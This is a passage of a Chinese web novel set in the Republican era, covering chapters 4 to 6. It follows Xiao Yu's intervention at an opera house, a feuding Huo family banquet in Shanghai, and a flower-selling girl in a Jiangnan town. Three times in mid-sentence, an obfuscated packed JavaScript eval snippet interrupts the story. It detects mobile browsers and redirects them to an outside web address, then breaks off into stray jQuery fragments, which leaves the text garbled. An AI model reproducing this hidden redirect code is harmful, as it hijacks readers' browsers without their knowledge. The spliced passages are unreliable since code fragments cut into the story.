“霍祥嘴皮子可是够利索,你说他俩兄弟怎么不匀和匀和?你带着霍吉那个闷葫芦成吗?” “霍吉老成持重,有些事真得他办不可。” “也成。”萧瑜可有可无的点了点头。 “上海十里洋场,南货北运,稀罕东西不少,有什么叫我捎带的?” “美利坚都待了五年,国内还有什么稀罕的?” 萧瑜想了想:“左右你也得三五个月回来,要是去苏杭赶上春天,就给我带枝儿桃花吧,这京城里的西北风太大,一丝春意也没有。” “好。” 4. 第 4 章 三月初三起,庆祥班在蓬莱楼包场,连唱十三天,今个儿是第十三天,也是萧瑜看的第十三场。 戏听多了,耳朵确实起茧,萧瑜不是什么地道票友,连看到这里,真是够够了,闭上眼就是咚咚锵锵的锣鼓声,俨然把这些年落下的都补了够本。 台上林冲夜奔到一半,廖季生带着几个手下,风风火火的上了二楼,进了包厢就冲到八仙桌前把茶壶一饮而尽,这才坐了下来,长舒一口气: “得劲儿!” 萧瑜打量着他大冷天一身大汗,风尘仆仆略有狼狈,一边吩咐着霍祥去倒茶拿手巾,一边问: “三哥这是又上哪儿平事儿去了?” “手底下人惹了点小祸,这帮孙子真不给小爷省心!” “这不能够,廖三爷出手还有摆不平的事?” 廖季生虽然和家里闹僵了,但拜的契爷在门子里很有辈分,跺一跺脚地抖三抖的人物,连带着他也跟着在道上混出了头脸。 廖季生不买账:“你可别将我,我如今不过是江湖风里雨里带弟兄们混口饭吃,你上次提那茬我可还没应承。” “我有钱,三哥你有人有路,合作愉快,还有什么可犹豫的?” “你这是听戏不过瘾,还想直接做东家了?你点的那十八家戏园子,可都日进斗金,正当红火,哪有那么容易弄到手。我就纳闷了,霍家如今在沪家大业大,你还操这份心干什么?” “他的钱是他的,我的钱是我的,他干他的大业,我总得也鼓捣些小买卖做做。” “你这还小买卖?” “三爷,您请——” 霍祥端着叠成豆腐块的白手巾呈给廖季生,廖季生接过来豪爽的抹了抹头脸,又扔了回去,打趣道: “霍祥,你说说,你家二小姐什么时候这么财迷了?” 霍祥年纪小,机灵劲儿却不少,嬉皮笑脸回道:“三爷您说哪的话?我们家小姐是视金钱如粪土的主儿,但这谁嫌钱多咬手啊?” “合着我嫌呗?”廖季生哈哈一笑:“你这张利嘴啊!” “瞧瞧,连霍祥都懂的道理。”萧瑜给廖季生倒了杯茶,亲手端到他跟前,慢条斯理道: “三哥,那晚锦宁说的话你还没明白?这世道甭管你想做什么,手里得有票子。站得高望的远,有多大能耐才能办多大事儿。” 眼见那茶碗热气袅袅,廖季生静默不语。 适逢台上那十八万禁军教头大雪纷飞,夜奔梁山,一番煎熬愁苦,终唱道: “......似这鬓发焦灼,行李萧条。此一去博得个斗转天回,高俅!管叫你海沸山摇!” 一堂抚掌,满座叫好。 “好,我也尝尝这钱多咬手的滋味!” 萧瑜看着廖季生端起茶碗一饮而尽,微笑着低头用茶盖拨了拨茶面: “日后可就多仰仗三哥了。” 正事谈完,便开始安心听戏,《夜奔》之后是今日的压轴大戏《贵妃醉酒》,台上那华衣美服的杨贵妃,正是那天唱《游园惊梦》的碧云天,云老板。 眼见台下掌声如雷,群情雀跃,廖季生啧啧道:“陈少说得不错,连唱十三场,这云老板越来越红火,前途不可限量。” “可惜还当不成角儿。”萧瑜摇了摇头。 如今这京城梨园行当,风云际会,梅兰竹菊四大名角龙盘虎踞,想要艳压群芳可不容易,光有花容月貌却还不够,天时地利人和缺一不可。况且这云老板又是个脾气古怪,心高气傲的主儿,运气好,有贵人相助还成,运气不好,指不定什么时候就香消玉殒了。 不过看人归看人,看戏归看戏,眼下就是图一乐呵。 玄宗不至,贵妃且妒且恼,醉后微醺,风情万种。这位云老板唱腔美,扮相美,身段也美,衔杯、卧鱼、醉步、扇舞一气呵成,当真是人间真绝色。 萧瑜眼前不经意浮现那天泰升戏楼那张俊俏冷清的面孔,拿着端着,却还竭尽全力在掩饰着什么,夺着魂,也勾着人。 于是摇头失笑: “他还是当春心萌动的杜丽娘合适些,走吧!” 廖季生还在跟着楼下的看客鼓掌叫好,意犹未尽,闻言愕然:“还有一场呢,不看压大轴的全武行了?” “再听这锣鼓声我眼珠子都要冒出来了,以后做了老板有的你白天晚上看的。” 二人这就起身出了包厢,许是有人和他们想到一块儿去了,对这全武行不感兴趣,遥相对面的那包间里的客人也匆匆下了楼。 萧瑜临出门时还回头多看了一眼,见那个肥硕的身影带着人往后台去了。 “那是福泰隆的朱老板吧?” 廖季生也瞧了眼:“哟,可不是嘛,这体态膘肥的除了人如其名的朱千金还有谁,怪不得方才楼上叫好时震得地动山摇的。” 说罢他颇有深意的笑了笑:“这位可是云老板的痴迷票友,十三场送的花篮摆满了一前堂,连云老板的面也没见着,看来这回是坐不住了。” “朱千金配俏天仙?这出戏,不雅,不雅得很。” 二人相视一下,心领神会。 “小瑜儿咱去瞧瞧热闹?” “成啊!” 最后一出武戏,是戏班子全体武行参演,后台剩下的人不多,仅有的也被撵了出去,朱老板手下听差堵在了里面碧云天那屋门口。 “云老板,朱某久仰大名啊,一点见面礼,不成敬意。” 身边小厮打开锦盒,里面金玉翠绿满匣,看一下都晃眼睛。 碧云天刚脱下戏服凤冠,妆还没卸,只穿着白色中衣站在妆台前,身影单薄,表情冷淡: “朱爷有心了,在下当不起这重礼。” 朱老板端坐椅上,似笑非笑:“云老板这沉鱼落雁,闭月羞花之容,就是贵妃再世,也万万不及,怎么当不起?朱某寒舍今晚略备薄酒,不知云老板可否赏光啊?” 碧云天不为所动,他下意识轻抿了抿唇,侧过脸庞,垂眸道: “多谢朱爷抬爱,可惜在下已经有约,还是改日吧。” “哦?这可真是不巧了......” 朱老板的脸色微变,笑容冷了下来。 “是啊,真就不巧,今夜是我约了云老板。” 一个声音斜插进来,碧云天抬眼看去,只见萧瑜和廖季生走了进来,门口朱老板的人想拦,却被廖季生的兄弟粗暴的推到一边去了。 廖季生身边跟着的七八个人,俱是黑衣短打,面色不善,一下子全涌进来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424867|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把本就不大的小间挤得满满当当。 萧瑜背着手施施然走到朱老板面前,客气笑道:“朱老板,能否通融通融啊?” 朱老板脸上的肉抖了抖,阴阳怪气道:“我道是谁,原来是萧二少。怎么?洋墨水喝一圈回来,还喜欢这捧戏子玩婊/子的勾当?哦,对了,现在该叫萧二小姐了。霍二少心真够大的,这些年绿帽子戴的还不够高吗?” 萧瑜叹了口气,有些无奈的低头整了整袖口,廖季生倒是噗嗤一声笑了出来: “我说朱老板,你可真是个没眼力见的,要不说福泰隆只能卖一辈子臭干贝烂咸鱼呢,给脸不要脸啊!小爷我今个儿就在这做了你,不用毁尸灭迹,我都能毫发无损出去,你信不信?” 朱老板自然认识廖季生,他看着一屋子面色不善的黑衣人有些慌张,色厉内荏道:“廖三,你不要太嚣张,你难道不知道我妹夫在总理府上......” 廖季生根本懒得听他啰嗦,顾自从后腰抽出一物扔给萧瑜, “不知道小瑜儿这些年枪法落没落下?” “哪能啊?三哥手把手教的,半点不敢落下。” 萧瑜接住那物,单手上膛,右手轻抬,随意就扣动了扳机。 碰——的一声,子弹擦着朱老板的椅子右手扶手射进地板中,朱老板大叫一声,仰着身子,连人带椅子倒在地上,稀里哗啦一阵巨响。 “哟,是史密斯威森!”萧瑜掂量了一下手里的短杆左/轮/枪笑道。 “简单好用,就是火力差点,防御足够。”廖季生随口道:“喜欢送你了。” . 前台全武行,后台全武行,这年头有钱的比不上有权的,有权的比不上有枪的,最后这事儿以朱老板湿了裤子被抬出去告终。 廖季生颇有些意兴阑珊:“孬种一个,没劲儿!” 早年逛青楼喝花酒时,和人争头牌抢姑娘是家常便饭,向来是萧瑜廖季生一个唱白脸,一个唱/红脸,霍锦宁撒票子,那叫一个仗势欺人恃强凌弱,如今三两句话搞定的事儿,反而叫人无趣。 萧瑜笑道:“孬种总比点子扎手强,忘了那回遇上脾气硬的,出门就叫人打了闷棍了?” “哪能忘啊?小爷长这么大还没吃过这么大亏,要不是锦宁拦着,我非得废了那龟儿子不可!” 说起昔日少年轻狂,不胜感慨,如今又干回混账事,怎么着也有点宝刀未老的意思。 此时一高个小子满头大汗跑过来,不迭声叫道:“三爷!三爷!可找着您了,南锣鼓巷那边又打起来了!” “什么?这帮混账东西,等小爷过去收拾他们!”廖季生一听就火冒三丈,转身对萧瑜说:“咱们那件事儿等我了了这边再细说,我先走一步了!” “得了,三哥你赶紧去吧,不用管我。” 萧瑜眼见廖季生撸胳膊挽袖子带人走了,这厢也打算带着霍祥回去,却听身后有人叫住了她: “二小姐,请留步。” 萧瑜回头见是碧云天,才将将反应过来,一番胡闹,倒将正主给忘了。 “这,云老板......” 碧云天心里也跟明镜儿似的,只淡淡一笑:“在下妆还没卸,恐有怠慢,还请二小姐稍等片刻。” 5. 第 5 章 萧瑜等过姐儿梳头,在国外等过友人化妆,如今倒是头一遭等一个男人卸妆。 今儿个的场已经散了,戏楼门外车水马龙,客人或坐自家汽车,或叫黄包车,或腿儿着,四散而去。直到门前冷清,碧云天才从蓬莱楼里面走出来。 “二小姐。” 萧瑜回转身来,抬眸望去,只见他换下了戏装,穿一身深色长衫马褂,短发三七分整齐梳着,突显脸庞白皙,五官秀美。 他抿嘴微微的笑了一下。 许是惯常台下冰冷疏离,这偶然一笑,倒是比戏台上浓妆艳抹的旦角还风流生动,顾盼生姿。 “云老板——” “碧云天是台上起着让座儿叫的,我姓梁,梁瑾。” “哪个瑾?” “怀瑜握瑾的瑾。” 萧瑜微怔,垂眸轻笑了一声:“这倒是巧了。” “刚才的事,多谢二小姐解围。” “举手之劳罢了。”萧瑜状若玩笑的说道:“士不为五斗米而轻折腰,云老板松风梅骨风流人物,要折,也不该折在这肥头大耳的东西上。” 贸然管这闲事,固然是跟廖三哥兄弟胡闹,却未尝不是起了三分怜香惜玉之心,因那双坦然纯粹的眉目,因他不卑不亢的清高,因方才那个强自镇静却克制不住微微颤抖的身影。 摧毁一个人的骄傲,何其简单。 旁人眼中,戏子不过是下九流,早晚捧得多高摔得多狠,然而那一天能晚来还是晚来的好。 梁瑾低头,一言不发,萧瑜也不在意,冲霍祥抬了抬下巴,霍祥会意,招手叫来两辆黄包车。 “云老板住哪里?” “牡丹胡同。” 萧瑜心中一哂,还真是个梨园行里的杜丽娘。 “云老板,请上车吧——” 二人各坐一辆黄包车穿街过巷,车夫有心,并排拉着,让两人能够得着说话。 闲来无事,萧瑜也多问了几句: “云老板几岁学戏?” “二小姐不用客气,叫我名字就成。”梁瑾道:“七岁入行,至今十二年了。” 萧瑜不搭茬,只说:“云老板年少有为,想必背后是用了一番苦工。” 梁瑾顿了下,才接着说:“有人告诉我,十年功夫无人问,一举成名天下知,我入了这行,别无选择,就得唱出个名来。只是我小时候不懂事,吃不了这苦,被师父罚了,还偷偷逃出去过。” “后来被找回去了?” “不,自己心甘情愿回去的。” “为什么?” “爹娘都死了,我无家可归,除了戏班子也没地儿收留我,只是日子太苦,苦得不知为什么活着,只觉得冻死饿死在外面也比成天把腿绑在脖子上睡觉痛快。” 梁瑾笑了笑:“可后来就知道为什么活了,人生在世就活着个念想,有了念想,哪怕再虚妄,也敢义无反顾走下去了。” 他说这话时没看萧瑜,只微侧头看着道两边匆匆而过的店铺行人,萧瑜看不见他的神色,却觉得他说话的语气是淡淡欣喜,淡淡欢愉,淡淡憧憬的,听得人没由来心情也好起来。 于是她叹道:“云老板是爱戏之人。” “且爱,且不爱。” “怎么说?” “学戏十余载,要说无情,断不可能。然而可恨我这生,除此之外,一无所长。” 萧瑜摇头失笑:“一生太长,别太早下定数,以后的日子谁也说不准。况且这世道纷乱,人心浮躁,一生只将一件事做好,也是真情真性的痴人。” 梁瑾转过头来,望向她,一双黑白分明的凤眼就像能直望进人心底: “二小姐真这么想?” 他的目光灼灼,若有实质,萧瑜觉得自己似乎被烫了一下,分神一瞬,然后点头: “当然。” 只见他眉目温柔,缓缓荡起了一抹浅笑,料峭三月,也似春风拂面。 “梁瑾多谢二小姐提点。” 天色渐晚,转眼暮色四合,车子拉到胡同口停下来,小路狭窄,雪化得一地泥泞,车夫不好往里走。 “没关系,就在这里吧。” 梁瑾下了车,又回身对萧瑜说: “二小姐稍等片刻,我去去就来。” 萧瑜看着他快步走进了胡同里,不知所为,只能干坐在车上等着。 这一片七拐八拐,院连院,房挨房,住得尽是些穷苦人家,也没盏路灯,只有家家窗子里透出点点烛火,缕缕炊烟,隐隐约约小孩儿哭闹声,老人唱戏声,男人女人说话声,混合着百家饭香,一片人间烟火。 等了一会儿,只听胡同里传来匆匆脚步声,到近些又停了,少顿片刻,梁瑾不紧不慢的走了出来,手里还提着一盏灯笼。 “天黑路暗,二小姐小心些。” 萧瑜接过那盏白底描红的灯笼,借着火光不经意看见梁瑾的袍脚上溅着星星点点的泥点子。 她冷不丁开口问了一句:“那日泰升戏楼,云老板为何独独来敬了我的酒?” “因为......”梁瑾笑了一下,“红尘滚滚,知音难觅,二小姐是梁瑾知己。” “彼时素不相识,何谈知己?” “白头如新,倾盖如故。” 萧瑜沉默了一下,忽而笑了:“好,好个倾盖如故。” 车夫拉着萧瑜渐行渐远,要拐弯时,萧瑜回头看了一眼,依稀见那身影还立在胡同口,如松似竹,玉山巍峨。 垂眸打量这盏灯笼,白纸糊的罩子,上面寥寥几笔勾勒出一朵花样,不是旁的,正是牡丹。 那折子戏里说,情不知所起,一往而深,生者可以死,死者可以生,却不知是真不是真? ...... 是夜,上海法租界的霍公馆内衣香鬓影,灯火辉煌。 今晚是霍家大老爷的寿宴,霍成宣作风不及三弟霍成宏张扬奢侈,只宴请了些亲厚至交,生意伙伴,可宴上仍是宾客云集,人流如织。无论达官显贵,还是洋人公使,人人上赶着来巴结着这沪上第一豪门。 而今日宴会上,多了不少世家小姐,豪门千金,盛容华服,珠光宝气。只因霍成宣的独子月余前从美国留学归来,听闻其一表人才,尚未婚配,早就搅乱了一池芳心。 “锦宁如今可谓是年少有为,前途无量啊,方才那牛家姐妹粘在你左右,走都不肯走。告诉三叔,你今日可有看中的人啊?”霍三爷霍成宏打趣道:“薛小姐?王小姐?亦或是...台上那个冲你搔首弄姿的当红/歌星?” 霍锦宁似笑非笑:“三叔说笑了,我算什么年少有为?本以为学成归来继承祖父实业救国遗志,可如今父亲连公司事务都不准我参与,整日里游手好闲罢了。” “哦?还有这档事?那可真就是大哥的不对了,大哥就你一个儿子,日后这他偌大基业,可不就是你一个人的,何不早早让你出来锻炼?” 霍锦宁看着不远处迎面来人,轻声玩味道: “或许,是介意后声夺人吧。” 霍成宏亦回头看去,二人默契收声。 霍锦宁换了表情,恭敬唤了声: “父亲。” 今晚寿宴的主角霍成宣同续弦妻子柳氏走了过来,他现今半百之年,却是保养得当,鬓无白发,身材也不曾走样,一眼望去似乎正当壮年。唯有惯常笑着的双眼中,藏着的精明狠戾,能叫人一窥端倪。 “你瞧瞧,正说着大哥他就来了。”霍成宏笑道,“人说虎父无犬子,我家里那几个不成器的小子可比不上锦宁出息。大哥,如今锦宁这番学成归来,你可是能好好享享清福了。” 霍成宣皮笑肉不笑道:“老三言之差异,锦宁不过毛头小子,经验尚浅,年轻人总是要杀杀傲气,急功近利可不是什么好事。” 霍锦宁虽是霍老爷子生前最中意的孙辈,可霍成宣对这独子不喜,不是什么秘密。据说他最属意的是原配所生长子,长子夭折,他三日三夜不曾合眼,那是这个精打细算的生意人唯一一次真情流露。 “也是,锦宁到底年纪太小了些,若是锦安还在......” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424868|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霍成宣状若不经意的提起,见霍成宣脸色微变,又急忙佯作失言,笑得无心:“你瞧瞧,我怎么又提起了大哥的伤心事。” 霍家兄弟不和,同样不是什么秘密。霍老爷子尚在世之时,兄弟几人已是明争暗斗,而霍熙怀过世之后,子女更是为了争夺家产撕破脸皮。 霍家四子,霍二爷罹患重病,于前年去南洋静养,退出了家族纷争。霍四爷与霍成宣一母同胞,故而同气连枝,与霍成宏针锋相对,互不相让。 霍家家大业大,产业庞杂,民间素有“海清河宴,国泰民安”之说,便是指霍家分家之后,由霍成宏所有的隆海纺织厂、茂清面粉厂等一系列轻工,以及由霍成宣所有的泰安煤铁公司、民强铁路公司等一系列重工。 二人龙盘虎踞,各占半壁江山,却仍不甘心,彼此虎视眈眈,都随时想吞并对方。 “陈年旧事,老三不提我都忘了。”霍成宣轻描淡写道。 霍成宏但笑不语,慢慢喝了一口红酒,他看了一眼霍锦宁,又道:“既然大哥不同意锦宁去公司,不如便叫他来我的纺织厂历练一番如何?” “既然老三有心,那锦宁就过去吧。” 霍锦宁应道:“是,父亲。” “年轻人嘛,经验不足可以积累,有些傲气也不是什么坏事。”霍成宣拍着霍锦宁的肩膀,殷切道:“可别叫我和你父亲失望。” 霍锦宁一笑:“三叔,放心。” 各自揣着明白装糊涂,心怀鬼胎,都有算计,有人将计就计,有人反客为主,端看究竟谁能笑到最后。 “呦,这里这么热闹啊,我来晚了,大哥可不要怪罪小妹啊。” 一个身材婀娜,风情万种的时髦女郎,捏着红酒杯款款走了过来,这便是鼎鼎有名的霍家七小姐霍冬英。 霍成宣和霍成宏的脸同时拉了下来,这是兄弟二人难得一致的时候。 霍冬英是霍熙怀生在外面的女儿,长大后才领回霍家,据说是在不三不四的地方长大,毫无大家小姐品行,与兄姐相处具不融洽。成年后不顾父亲反对,嫁给了一个年过半百的丧偶巨富,丢尽了霍家脸面。 谁料到霍熙怀死后,霍家兄弟争夺家产正酣之时,霍七小姐一纸诉状将三个哥哥告上了法庭,理由是民国法律明文规定,女子有继承权。 一时间上海滩一片哗然,大小报纸争先报道。只因自古哪有女儿继承家产?这条法律制定之日起,便被束之高阁,从未实践。 巨富彼时已死,霍冬英得到大笔财产,她不惜成本的打通各个关卡,又花天价聘请了洋人律师团。一波三折,最后真的胜诉,如愿分得了遗产的七分之一,成了民国第一起女子继承权的胜诉案,从此名声大噪。 兄妹几人已然撕破脸皮,可她偏偏还常常出现在他们面前,混若无事一般。 “大哥,福如东海云云,估计你并不在意,那小妹便祝你日后财源广进,生意兴隆吧。” 说完,她也不顾二人的脸色,兀自喝下了杯中的红酒。 “当不起。”霍成宣冷哼一声,转身便走。 霍成宏似笑非笑对霍冬英道:“小妹,你可真是厚颜无耻至极,三哥甘拜下风。” 说罢也转身走了。 霍冬英嘴角笑容玩味,并不很在意他们的态度,只看向一旁默不作声的霍锦宁。 “七姑姑。”霍锦宁不咸不淡唤了一声。 “霍小二,你怎么不走呀?你那父亲叔伯可是讨厌我讨厌的紧呢。” “那你为何还来?” “他们讨厌我,我却偏偏要在他们面前碍眼。”霍冬英似笑非笑:“不说这些了,来,我给你介绍一下——” 说着她亲热的拉过一直跟在她身后,一个年轻漂亮的女子,“这是我新认的干女儿露露,你刚回上海,让她陪你四处逛逛......” “七姑姑,你这般相逼,那我也就只好也失陪了。” 霍锦宁淡淡一笑,将手中酒杯放回到侍者端的餐盘中,客气疏离的对那二人道: “慢聊,再会。” 6. 第 6 章 人人尽说江南好,游人只合江南老。 笙溪小镇,在这片吴门烟水之地,已静默伫立了千百年,岁月不惊,风烟不扰。 像往常一样,天蒙蒙亮,阿绣就起来了,先打水洗脸,收起昨晚晾的衣裳,然后生起炉子,开始做饭。 糯米和粳米淘洗后煮粘稠,添入豆沙搅拌,淋上一勺桂花蜜糖,几颗枣子,把糖粥端上桌子,笼屉里的小笼包也刚刚蒸好。 阿绣手脚麻利地摆好碗筷,去凤姑的门口敲门。 敲了一会儿,门里才传出来懒懒散散不耐烦的声音: “晓得啦,叫魂呀,就起来!” 房门打开,走出来一个体态丰腴,皮肤白嫩的妇人,她一边系着领子盘口,一边轻轻打着呵欠,吸吸鼻子,骤然笑了起来: “荠菜鲜肉馅儿的?这时节吃刚刚好。” 两人细嚼慢咽的吃着早饭,凤姑舀了一勺软糯甜腻的糖粥,笑嘻嘻道: “阿绣嘴巴虽然笨,好在手脚勤快,真要是把你嫁出去,我还有点舍不得。” 阿绣闻言愣了下,红着脸放下碗筷,双手有些紧张的在腿上擦了下,低着头细声说:“阿绣不嫁人,阿绣一辈子跟着凤姑。” “诶呦呦,你还嫌拖累凤姑不够?”凤姑伸指头戳了一下阿绣的额头,“阿姐走得早,把你托付给我,邻里街坊的都还以为你是我跟外面哪个男人生的。我呀是懒得计较,可你今年都十四了,也该找个人家嫁了,这女大不中留,留来留去就留成了愁。” 凤姑顺势捏起了阿绣的脸:“看看,这水灵的小模样,再过几年一准儿是个小美人,来我们家求亲的后生非得踩破门槛不可。” 阿绣白皙的脸上涨得通红,她躲开凤姑的手,低头拿筷子戳着碟子里的小笼包,小声说: “反正,反正我不要这么早嫁人......” 两人吃过早饭,就紧赶慢赶的出了门,今天他们有十二户主顾家要去,一个早上就要全部走完。 江南女子婉约精致,头发更要梳得光亮得体,梳头发是体面活,也是技术活。凤姑的外婆就是梳头娘姨,凤姑的娘亲是,凤姑也是,如今凤姑是笙溪镇上鼎鼎出名,手艺顶顶好的梳头娘姨,好些雇主排着队来找她上门梳发髻。 每天早上阿绣拎着梳妆盒,跟着凤姑,穿梭在镇子里大街小巷,东家进西家出,手下十指翻飞,就是一个个精美妥帖的发髻,一个月有几个大子儿好赚。 凤姑不但手巧,嘴也巧,梳头时,家长里短,少不得与雇主太太聊天,她最能左右逢源,哄得每一家老太太小媳妇都乐乐呵呵的。 “你呀你,好好学着点!” 凤姑时常拿指甲戳着阿绣的脑袋,恨铁不成钢:“做什么木头桩一样站在一边一句话都不说?这么怕生,以后怎么做梳头娘姨?做这一行可不是光梳好头发就成了。” 忙活了一早上,终于把十二家主顾都走了遍,凤姑扶着桥边石栏杆捶了捶腰,和阿绣说: “我要去和小姐妹吃茶,你自己回去吧,闲下别忘了泡些刨花水。诶,对了,仔细着我的梳妆盒,别光顾着去玩儿,要是磕了碰了,我可饶不了你!” 阿绣抿嘴一笑,抱紧了那红漆雕花的木盒子:“晓得了。” 这梳妆盒可是凤姑外婆传下来的,是凤姑成亲时的陪嫁,宝贝得很。凤姑命不好,嫁了人没几年丈夫就死了,从那以后凤姑就指着这梳妆盒,走街串巷给人梳头过生活。 阿绣知道凤姑这一走,指不定要到多晚才回来。她回到家里,洗了衣服,打扫了院子,泡了刨花水,揉面、醒面,蒸了一锅蜜枣馒头,趁热拣出两三个,包在油纸里,出了门。 刚出门,一个灰色的影子就蹿了过来,亲昵的依偎在她脚边。 “阿鱼!” 阿绣蹲下身子,抱起灰扑扑的猫儿,用鼻尖蹭了蹭它的小鼻尖,笑着说:“我们去找哑阿婆。” 镇上河边雨廊那条街,聚满了商贩货郎,吆喝叫卖着,生怕过往的客人不搭理。却也有例外,长寿桥旁边就坐着一位不声不响的老阿婆,脚边一个个花篮里放着水灵的栀子花,白兰花,茉莉花,今天赶巧,还有几朵粉嫩的桃花。 并非她不想做生意,而是她不会说话,无儿无女,靠卖花为生,镇上的人都叫她哑阿婆。 阿绣每天都会来帮哑阿婆卖花,她喜欢抱着这只叫阿鱼的灰猫静静坐在桥边,悄悄的看着云卷云舒,风来雨往,看着大姑娘卖花别在衣襟鬓间,看着小伙子红着脸卖花送给心上人,听着不远处茶楼说书人口若悬河,听着对面酱肉铺的老板娘说不完的唠叨。 这样一坐就是一下午。 流水日复一日,岸上人来人往,桥下船来船走,这是十几年来阿绣全部的生活,似水平淡,不起波澜。 李太太说上海高楼大厦,车水马龙,吴先生说南边还在打仗,不知道死了多少人,何老爷说洋人金发碧眼,膀大腰圆,看着跟阎王殿里的小鬼儿似的...... 这些都与小镇无关,与阿绣无关,小镇外面的光景,她才不想,她只想一辈子安安稳稳待在笙溪,做个像凤姑一样厉害的梳头娘姨。 . 镇为泽国,四面环水,咫尺往来,皆须舟楫。 几只乌蓬小船穿过一座座石桥,在河面悠悠驶过。 “咱这镇上水路纵横,人说进镇出镇一把撸,少东家,您多担待着点!” 王管事点头哈腰的向霍锦宁解释,生怕这位北地来的少爷坐不惯这摇橹船。 “君到姑苏见,人家尽枕河。要是没了小桥流水,这江南也不是江南了。”霍锦宁靠着船舱,抬眸看了一眼汤普森,“只是恐怕我这位远道而来的朋友不习惯。” 汤普森脸色惨白,被霍吉扶着人还东倒西歪,勉强笑了笑,用半生不熟的中国话说:“霍,你没说过要坐这么久的船,天知道我在大西洋的船上呆了一个月也没有这么难过,我——” 话没说完,他又是扑到船边一阵干呕,霍吉急忙去给他倒水。 眼见这位西洋来的专家晕船晕的紧,王管事偷偷打量着霍锦宁的脸色,不自觉擦了擦头上的汗,嘱咐船夫再摇稳一点。 他们此行的目的地,是隆海纺织公司在笙溪镇设立的缫丝厂。 霍成宏所经营的隆海纺织厂,是霍家的第一金字招牌,自光绪二十四年建厂,连年盈利,广设分厂,曾取得朝廷“百里之内二十年不准别家设立纺厂”的御赐,在江南一带一家做大,风头无两。 然而自前几年开始,工厂因经营不善,出现接连亏损,年初隆海一厂已经停产,二厂三厂也危在旦夕。 霍锦宁一入隆海便被三叔委以重任,但接过的却是一块烫手的山芋。 若能扭转乾坤,得利在霍成宏,若是无能为力,霍家的金字招牌可就砸在了他的手里。 然而霍锦宁却似浑然不觉,月余来忙得昏天黑地,重新调整人手,改良管理,整顿经营,而今亲自带着美国请来的纺织专家,来到各县乡下分厂考察,不可谓不面面俱到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424869|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让不少等着看这位留洋回来的二少爷跌跟头的人,大失所望。 如今笙溪是江南考察之行的最后一站,有些人怎么也要坐不住了。 此时霍锦宁看着两岸驶过的枕河人家,白墙青瓦,心情难得悠闲了几分。面上云淡风轻,若有若无的笑了下: “这要是谁想在出镇路上截一把,可就叫天不应,叫地不灵了。” 小船靠岸,霍锦宁一行人下了船,王管事道:“少东家,再往前走两条街就是何老爷府上了,这儿没有黄包车,我给您安排的轿子,您看......” “不用了,走过去吧,再坐轿子,恐怕汤普森要吐到晕过去了。” 霍锦宁回头看向汤普森,那年轻的美国人虚弱的靠在霍吉肩上,苦着脸点头: “对,请让我走一走,吹一吹风......” 于是众人上了岸,沿着河边的雨廊,不紧不慢的走着。 过了长寿桥,霍锦宁不经意瞥了一眼地上的花篮,忽而想起了什么,停下脚步细细瞅了瞅。 那花篮里放满了头水灵灵的白兰花,茉莉花,栀子花,还有几朵初春的桃花。 花篮边小板凳上坐着一个十几岁瘦小纤细的姑娘,白底兰花的斜襟小衫,乌黑的头发梳了一条又粗又长的鞭子,正低头一本正经的和怀里的猫儿说话。 因她孩子气的举动,霍锦宁一笑,开口问道: “小姑娘,你的花怎么卖?” 阿绣吓了一跳,猛地抬头,就这么撞进那双温润如玉,却疏离淡漠的眼睛里。 明明是笑着,却温度未达心底,好像这阳春三月,小桥流水上飘过的缕缕桃花,氤氲朦胧,转瞬不见踪迹。 桥边河畔,人来人往的嘈杂街市,这男人一身白色西装,长身玉立,有着与小镇上截然不同的风度贵气,儒雅绅士。阿绣这辈子见得所有人也不及他一个丰神俊貌,玉树临风。 她一下子涨红了双颊,急忙低下了头,不敢再看他一眼。 见小姑娘这样胆怯,霍锦宁不禁觉得有些好笑: “总是低着头,你可卖不出去花了。” 阿绣的头低得更低了,哑阿婆赶紧用手比比划划了个数,霍锦宁示意了一下,霍吉掏钱付给了哑阿婆: “婶子,您这些花,我们少爷都要了。” 哑阿婆接过钱,不住地点头道谢,眼角细密的皱纹里都是笑意。 霍锦宁从花篮里拣出一只桃花,垂眸瞥见小姑娘乌黑的发顶,整齐的小璇儿,连个头绳也没系,顺手把桃花别在了她的鬓间。 阿绣只觉耳边一凉,抬头又惊又怯的望着霍锦宁,想抬手去抚,却又不敢,只能把怀里的阿鱼抱得更紧些。 霍锦宁看着小姑娘双颊绯红,圆溜溜的眼睛水润灵动,眼角边还有一粒小痣,倏尔想起那句诗来: 人面桃花相映红。 于是摇头失笑,临走时说了一句:“你多笑笑,兴许卖花的人就多了。” 阿绣呆呆的坐在小板凳上,看着霍锦宁一行人离去的身影,直到人都走得看不见了,才慢慢的抬手碰了碰鬓边那朵桃花。 